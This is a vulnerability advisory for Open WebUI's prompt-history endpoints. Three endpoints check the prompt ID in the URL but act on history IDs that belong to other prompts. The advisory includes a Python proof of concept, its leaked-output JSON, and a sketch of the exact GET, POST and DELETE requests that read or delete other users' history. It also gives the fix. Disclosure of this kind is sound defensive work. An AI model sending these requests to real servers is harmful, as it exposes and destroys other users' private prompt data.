Описание
Open WebUI Prompt history IDOR: unbound history_id allows cross-prompt read and deletion
Summary
Open WebUI's prompt version-history endpoints authorize the prompt_id in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (history_entry.prompt_id == prompt.id). Three operations are affected:
GET /api/v1/prompts/id/{prompt_id}/history/diff — returns another prompt's history snapshots (read).POST /api/v1/prompts/id/{prompt_id}/update/version — restores another prompt's snapshot into the caller's prompt, exposing its content (read).DELETE /api/v1/prompts/id/{prompt_id}/history/{history_id} — deletes another prompt's history entry (delete).
An authenticated user with access to any prompt they control, plus a victim prompt_history.id, can read or delete another user's private prompt history. The single-entry read endpoint (GET .../history/{history_id}) already enforces the binding; these three did not.
Impact
Security boundary crossed: prompt confidentiality and integrity.
Prompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim prompt_history.id, an attacker can read another user's snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user's history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.
Root Cause
The route checks read access only for prompt_id:
# backend/open_webui/routers/prompts.py
prompt = await Prompts.get_prompt_by_id(prompt_id, db=db)
...
if not (
user.role == 'admin'
or prompt.user_id == user.id
or await AccessGrants.has_access(
user_id=user.id,
resource_type='prompt',
resource_id=prompt.id,
permission='read',
db=db,
)
):
raise HTTPException(...)
But the authorized prompt ID is not passed into the diff sink:
# backend/open_webui/routers/prompts.py
diff = await PromptHistories.compute_diff(from_id, to_id, db=db)
compute_diff() fetches both history entries globally by ID and returns their full snapshots:
# backend/open_webui/models/prompt_history.py
result_from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from_id))
from_entry = result_from.scalars().first()
result_to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to_id))
to_entry = result_to.scalars().first()
...
return {
'from_snapshot': from_snapshot,
'to_snapshot': to_snapshot,
...
}
There is no check that from_entry.prompt_id == prompt_id or to_entry.prompt_id == prompt_id.
The same missing binding affects two further endpoints. POST .../update/version restores a snapshot fetched globally by version_id:
# backend/open_webui/models/prompts.py — update_prompt_version
history_entry = await PromptHistories.get_history_entry_by_id(version_id, db=session)
...
prompt.content = snapshot.get('content', prompt.content) # foreign snapshot copied into caller's prompt
prompt.version_id = version_id
DELETE .../history/{history_id} deletes an entry fetched globally by history_id:
# backend/open_webui/models/prompt_history.py — delete_history_entry
result = await db.execute(select(PromptHistory).filter_by(id=history_id))
entry = result.scalars().first()
...
await db.delete(entry)
Neither checks entry.prompt_id == prompt.id. The single-entry read endpoint (GET .../history/{history_id}) does (history_entry.prompt_id != prompt.id → 404); these three endpoints were missing it.
PoC
#!/usr/bin/env python3
"""
PoC for prompt history diff IDOR.
The PoC executes:
- the real routers.prompts.get_prompt_diff() route function
- the real PromptHistories.compute_diff() implementation
Fake model/DB adapters are used only to avoid requiring a running server. The
security-sensitive behavior under test is that the route authorizes the prompt
ID in the URL, then computes a diff for arbitrary history IDs without checking
that those history rows belong to the authorized prompt.
"""
from __future__ import annotations
import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace
def prepare_imports() -> None:
repo_root = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(repo_root / "backend"))
os.environ["VECTOR_DB"] = "none"
class DummyTyper:
def command(self, *args, **kwargs):
return lambda fn: fn
sys.modules.setdefault(
"typer",
types.SimpleNamespace(
Typer=lambda *args, **kwargs: DummyTyper(),
Option=lambda *args, **kwargs: None,
echo=lambda *args, **kwargs: None,
Exit=Exception,
),
)
sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))
class FakeScalarResult:
def __init__(self, row):
self.row = row
def first(self):
return self.row
class FakeExecuteResult:
def __init__(self, row):
self.row = row
def scalars(self):
return FakeScalarResult(self.row)
class FakePromptHistoryDb:
def __init__(self, rows):
self.rows = rows
self.calls = 0
async def execute(self, stmt):
row = self.rows[self.calls]
self.calls += 1
return FakeExecuteResult(row)
class FakeDbContext:
def __init__(self, db):
self.db = db
async def __aenter__(self):
return self.db
async def __aexit__(self, exc_type, exc, tb):
return False
async def run_real_compute_diff(from_id: str, to_id: str):
import open_webui.models.prompt_history as history_module
victim_from = SimpleNamespace(
id=from_id,
prompt_id="victim-prompt",
snapshot={
"name": "Victim Prompt",
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V1",
},
)
victim_to = SimpleNamespace(
id=to_id,
prompt_id="victim-prompt",
snapshot={
"name": "Victim Prompt",
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V2",
},
)
fake_db = FakePromptHistoryDb([victim_from, victim_to])
original_context = history_module.get_async_db_context
try:
history_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
diff = await history_module.PromptHistories.compute_diff(from_id, to_id)
finally:
history_module.get_async_db_context = original_context
return diff
async def main() -> None:
prepare_imports()
import open_webui.routers.prompts as prompts_router
attacker_prompt = SimpleNamespace(
id="attacker-prompt",
user_id="attacker",
)
attacker = SimpleNamespace(id="attacker", role="user")
victim_from_id = "victim-history-from"
victim_to_id = "victim-history-to"
class FakePrompts:
looked_up_prompt_ids = []
async def get_prompt_by_id(self, prompt_id, db=None):
self.looked_up_prompt_ids.append(prompt_id)
if prompt_id == "attacker-prompt":
return attacker_prompt
return None
class FakeAccessGrants:
async def has_access(self, *args, **kwargs):
return False
class FakePromptHistories:
compute_diff_calls = []
async def compute_diff(self, from_id, to_id, db=None):
self.compute_diff_calls.append(
{
"from_id": from_id,
"to_id": to_id,
"authorized_prompt_id_not_passed": True,
}
)
return await run_real_compute_diff(from_id, to_id)
fake_prompts = FakePrompts()
fake_histories = FakePromptHistories()
original = {
"Prompts": prompts_router.Prompts,
"AccessGrants": prompts_router.AccessGrants,
"PromptHistories": prompts_router.PromptHistories,
}
try:
prompts_router.Prompts = fake_prompts
prompts_router.AccessGrants = FakeAccessGrants()
prompts_router.PromptHistories = fake_histories
diff = await prompts_router.get_prompt_diff(
prompt_id="attacker-prompt",
from_id=victim_from_id,
to_id=victim_to_id,
user=attacker,
db=None,
)
finally:
for name, value in original.items():
setattr(prompts_router, name, value)
result = {
"confirmed": (
diff.get("from_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V1"
and diff.get("to_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V2"
and fake_prompts.looked_up_prompt_ids == ["attacker-prompt"]
and fake_histories.compute_diff_calls
and fake_histories.compute_diff_calls[0]["authorized_prompt_id_not_passed"] is True
),
"attacker_user_id": "attacker",
"authorized_prompt_id": "attacker-prompt",
"victim_prompt_id": "victim-prompt",
"victim_history_ids": [victim_from_id, victim_to_id],
"prompt_ids_authorized_by_route": fake_prompts.looked_up_prompt_ids,
"compute_diff_calls": fake_histories.compute_diff_calls,
"leaked_from_snapshot": diff.get("from_snapshot"),
"leaked_to_snapshot": diff.get("to_snapshot"),
"source": {
"route": "backend/open_webui/routers/prompts.py:get_prompt_diff",
"sink": "backend/open_webui/models/prompt_history.py:PromptHistories.compute_diff",
},
}
print(json.dumps(result, indent=2, sort_keys=True))
if not result["confirmed"]:
raise SystemExit(1)
if __name__ == "__main__":
asyncio.run(main())
The PoC executes the real route function and the real PromptHistories.compute_diff() implementation with fake model/DB adapters. It authorizes the attacker against attacker-prompt, then supplies two victim history IDs. The route returns the victim prompt snapshots.
Result:
{
"attacker_user_id": "attacker",
"authorized_prompt_id": "attacker-prompt",
"confirmed": true,
"leaked_from_snapshot": {
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V1",
"name": "Victim Prompt"
},
"leaked_to_snapshot": {
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V2",
"name": "Victim Prompt"
},
"prompt_ids_authorized_by_route": [
"attacker-prompt"
],
"victim_history_ids": [
"victim-history-from",
"victim-history-to"
],
"victim_prompt_id": "victim-prompt"
}
Exploit Sketch
Read via the diff endpoint:
- Attacker has read access to
ATTACKER_PROMPT_ID.
- Attacker knows two history IDs for a victim prompt:
VICTIM_FROM_HISTORY_ID and VICTIM_TO_HISTORY_ID.
- Attacker requests:
GET /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/diff?from_id=VICTIM_FROM_HISTORY_ID&to_id=VICTIM_TO_HISTORY_ID
- The server authorizes
ATTACKER_PROMPT_ID, then returns snapshots for the victim history IDs.
Read via restore (update/version): the attacker POSTs {"version_id": "VICTIM_HISTORY_ID"} to their own prompt's update/version, then GETs their prompt; it now holds the victim snapshot's name/content/data/meta/tags.
Delete: the attacker sends DELETE /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/VICTIM_HISTORY_ID; the victim history entry is removed.
Recommended Fix
Bind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint:
compute_diff() should accept prompt_id and query both entries with PromptHistory.prompt_id == prompt_id alongside the id filter.delete_history_entry() should accept prompt_id and filter filter_by(id=history_id, prompt_id=prompt_id).update_prompt_version() should reject history_entry.prompt_id != prompt_id before restoring.
Return 404/403 on mismatch.
Consolidation
Per our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing history_entry.prompt_id == prompt.id binding) reached through different endpoints:
- Diff-endpoint read and history deletion: @0xEr3n (earliest filings).
update/version restore-read: distinct path demonstrated by @5yu4n.
One CVE for the consolidated advisory.
